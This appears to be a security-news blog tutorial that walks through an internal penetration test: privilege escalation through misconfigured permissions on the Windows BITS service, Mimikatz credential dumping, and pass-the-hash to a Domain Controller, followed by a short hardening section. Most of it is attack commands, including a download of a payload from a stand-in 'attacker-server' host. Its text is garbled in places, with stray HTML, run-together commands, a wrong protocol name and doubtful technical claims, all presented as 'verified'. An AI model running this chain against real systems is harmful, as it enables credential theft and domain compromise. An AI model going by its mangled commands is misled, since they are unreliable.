Listen to this Post
Introduction:
A recent social media post by a penetration tester detailed a common but critical oversight during a junior-level assessment: failing to properly enumerate and exploit standard system features before moving on to more complex attacks. This case study highlights how a seemingly basic Windows service, left unchecked, can serve as a direct conduit to complete domain compromise, underscoring the absolute necessity of rigorous foundational methodology in cybersecurity.
Learning Objectives:
- Understand the critical role of systematic service enumeration in internal penetration tests.
- Learn how to identify, exploit, and mitigate the Windows Background Intelligent Transfer Service (BITS) for privilege escalation.
- Develop a methodology for transitioning from a medium-integrity shell to a full Domain Administrator compromise.
You Should Know:
1. The Power of Systematic Service Enumeration
Before a single exploit is launched, a penetration tester’s success is often determined by the thoroughness of their enumeration. The scenario began with a common foothold: a medium-integrity shell on a Windows 10 workstation within an Active Directory domain. The junior tester, eager to find a path to domain admin, scanned for high-profile vulnerabilities but overlooked the running services. A senior reviewer, however, immediately spotted the Windows Background Intelligent Transfer Service (BITS) configured with weak permissions. This service, designed for asynchronous file transfer, can be weaponized if its queue can be modified by a low-privileged user.
Verified Commands & Step-by-Step Guide:
Command (PowerShell):
Get-Service BITS
Get-WmiObject -Class Win32_Service | Where-Object {$_.Name -eq "BITS"}
sc qc BITS
What this does: These commands check the status and configuration of the BITS service. The first uses the modern `Get-Service` cmdlet, the second uses the older WMI interface, and the third uses the native `sc` utility to query the service configuration.
Step-by-Step:
- From your initial command prompt or shell, use one of the above commands to confirm the BITS service is present and running.
- The critical next step is to check the permissions on the service to see if your current user can modify it.
2. Auditing Service Permissions with sc.exe
The native Windows `sc` command is a powerful tool for service management and interrogation. While PowerShell’s `Get-Acl` can be used, `sc` provides a quick and scriptable way to check service permissions directly from a command prompt, which is often available in restricted shell environments.
Verified Commands & Step-by-Step Guide:
Command (Command Prompt):
sc sdshow BITS
What this does: This command displays the security descriptor for the BITS service in Security Descriptor Definition Language (SDDL) format. This string of characters defines which users or groups have what permissions (e.g., Start, Stop, Change Config) on the service.
Step-by-Step:
- Run `sc sdshow BITS` from your command shell.
- Analyze the output. You are looking for an entry like `(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;S-1-1-0)` or similar that grants `SERVICE_CHANGE_CONFIG` (CC) to low-privileged users like “Everyone” (S-1-1-0) or “Authenticated Users” (S-1-5-11). This is the misconfiguration that allows for privilege escalation.
3. Weaponizing BITSAdmin for Privilege Escalation
`BITSAdmin` is a legacy command-line tool for creating and managing BITS jobs. If a user has permission to change the BITS service configuration, they can point a BITS job to a malicious executable that will run with elevated privileges (often SYSTEM).
Verified Commands & Step-by-Step Guide:
Command (Command Prompt):
bitsadmin /create /setownersid localsystem 1 bitsadmin /addfile 1 C:\windows\system32\cmd.exe C:\temp\cmd.exe bitsadmin /SetNotifyCmdLine 1 C:\temp\cmd.exe NULL bitsadmin /resume 1
What this does: This series of commands creates a new BITS job, sets its owner to LOCAL SYSTEM, adds a file (in this case, a copy of cmd.exe) to be transferred, sets the notification command line to execute the copied file when the job completes or errors, and then resumes the job to trigger the action.
Step-by-Step:
- Use `bitsadmin /create` to create a new job. Note the job ID (e.g.,
{JOB_ID}). - Use `bitsadmin /addfile {JOB_ID}
[bash]` to specify a file transfer. The source and destination can be the same local path to a payload you upload.</li> <li>Critically, use `bitsadmin /SetNotifyCmdLine {JOB_ID} [bash] NULL` to define what command runs.</li> <li>Finally, use `bitsadmin /resume {JOB_ID}` to trigger the job. The specified executable will run with SYSTEM privileges.</li> </ol> <h2 style="color: yellow;">4. Modern BITS Manipulation with PowerShell</h2> While `BITSAdmin` is well-known, it is deprecated and may be flagged by security software. The modern, more stealthy approach is to use the native `Start-BitsTransfer` PowerShell cmdlet in conjunction with other commands to manipulate the service. <h2 style="color: yellow;">Verified Commands & Step-by-Step Guide:</h2> <h2 style="color: yellow;">Command (PowerShell):</h2> [bash] Import-Module BitsTransfer $job = Start-BitsTransfer -Source "http://attacker-server/payload.exe" -Destination "C:\Users\Public\payload.exe" -Asynchronous ... Manipulate the service to trigger the notification command ... sc config BITS binPath= "C:\Users\Public\payload.exe" sc stop BITS sc start BITSWhat this does: This approach uses the official PowerShell module to create a BITS job. The privilege escalation occurs by then directly modifying the BITS service’s binary path (
sc config) to point to your payload and restarting the service. This requires the `SERVICE_CHANGE_CONFIG` and `SERVICE_STOP` permissions.Step-by-Step:
- Use `Start-BitsTransfer` to download your payload. The `-Asynchronous` flag returns a job object.
- Using the permissions identified earlier, change the BITS service’s binary path directly to your payload using
sc config BITS binPath= "C:\path\to\payload.exe". - Stop and then start the BITS service. When it starts, it will execute your payload as SYSTEM.
5. Lateral Movement and Domain Compromise with Mimikatz
Once SYSTEM-level access is achieved on a single workstation, the next objective is lateral movement towards the Domain Controller. A primary tool for this is Mimikatz, which can dump credential material from the Local Security Authority Subsystem Service (LSASS) process memory.
Verified Commands & Step-by-Step Guide:
Command (Command Prompt – as SYSTEM):
mimikatz.exe privilege::debug sekurlsa::logonpasswords lsadump::lsa /patch
What this does: Mimikatz’s `sekurlsa::logonpasswords` module extracts passwords, hashes, and Kerberos tickets from memory for currently logged-on users. The `lsadump::lsa /patch` module dumps password data for all domain users from the LSASS memory, which may include a Domain Administrator if one has recently logged onto the compromised machine.
Step-by-Step:
1. Upload `mimikatz.exe` to the compromised host.
2. Execute it from a SYSTEM-level command prompt.
- Run `privilege::debug` to ensure you have the required
SeDebugPrivilege. - Run `sekurlsa::logonpasswords` and `lsadump::lsa /patch` to harvest credentials.
- Look for a Domain Admin’s NTLM hash. This hash can be used in a “Pass-the-Hash” attack.
6. Achieving Domain Admin with Pass-the-Hash
Pass-the-Hash (PtH) is an attack technique that allows an attacker to authenticate to a remote system using a user’s NTLM hash without needing the plaintext password. With a Domain Admin hash, the entire domain is within reach.
Verified Commands & Step-by-Step Guide:
Command (Command Prompt):
crackmapexec smtp 192.168.1.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 psexec.py -hashes :5fbc3d5fec8206a30f4b6c473d68ae76 domain/[email protected]
What this does: `CrackMapExec` is used to verify the compromised credentials against a target (like a Domain Controller). `PsExec` (or the Impacket Python version
psexec.py) then uses the NTLM hash to authenticate and execute a command on the target, typically spawning a SYSTEM shell on the Domain Controller.Step-by-Step:
- Use a tool like `CrackMapExec` to verify the harvested Domain Admin hash is valid against the Domain Controller’s IP (e.g.,
192.168.1.10). - Upon successful verification, use the Impacket’s `psexec.py` to authenticate to the Domain Controller using the `-hashes` argument.
- If successful, you will receive an interactive command prompt as SYSTEM on the Domain Controller, signifying a full domain compromise.
7. Mitigation: Hardening Service Permissions and Monitoring
Preventing this attack chain requires a proactive defense strategy focused on hardening and monitoring. Relying on a single control is insufficient; a defense-in-depth approach is necessary.
Verified Commands & Step-by-Step Guide:
Command (PowerShell – for auditing):
Get-WmiObject -Class Win32_Service | ForEach-Object { sc.exe sdshow $_.Name } | findstr /I "S-1-1-0 S-1-5-11"Command (Windows Command – for configuration):
sc sdset BITS D:(A;;CCLCSWRPWPLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)
What this does: The first command audits all services for weak permissions granted to “Everyone” or “Authenticated Users.” The second command sets a hardened security descriptor on the BITS service, removing permissions from unauthorized users.
Step-by-Step (Mitigation):
- Audit: Regularly run service permission audits using PowerShell or dedicated tools to identify misconfigurations.
- Harden: Use Group Policy or manual `sc sdset` commands to apply least-privilege principles to all services, especially those like BITS. The provided SDDL string is an example; test in a non-production environment first.
- Monitor: Implement a SIEM or EDR solution to alert on events like `sc config` being run against system services, the creation of BITS jobs via command line, and the use of tools like Mimikatz.
What Undercode Say:
- Foundational Rigor is Non-Negotiable: The most sophisticated attacks are often built on the back of the most basic oversights. A checklist-driven approach to enumeration that covers services, permissions, shares, and scheduled tasks is vital for both attackers and defenders.
- The Path of Least Persistence is Often the Simplest: Advanced Persistent Threats (APTs) are glamorized, but most real-world breaches exploit simple, known misconfigurations. Defenders must prioritize hardening common system features over solely chasing the latest CVEs.
This incident is a classic example of a “failure of process” rather than a “failure of technology.” The vulnerability was not a zero-day but a procedural gap in the junior tester’s methodology. For blue teams, it reinforces that robust configuration management—ensuring services run with the minimum required privileges—is a more sustainable security control than purely reactive patching. The attacker didn’t need to be a genius; they just needed to be more thorough than the person who configured the system. This dynamic, where automation and consistency trump individual brilliance, defines modern cybersecurity.
Prediction:
The automation of basic enumeration and attack vectors, as demonstrated by tools like Metasploit and BloodHound, will continue to lower the barrier to entry for attackers. In the next 2-3 years, we will see a significant rise in automated “smash-and-grab” ransomware and crypto-mining campaigns that systematically exploit these common service and permission misconfigurations across entire networks within hours of initial compromise. The future battleground will not be over complex exploits, but over the control of foundational IT hygiene—the organization that best automates its hardening and monitoring of standard configurations will have a decisive advantage.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Tristan Manzano – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow UndercodeTesting & Stay Tuned:
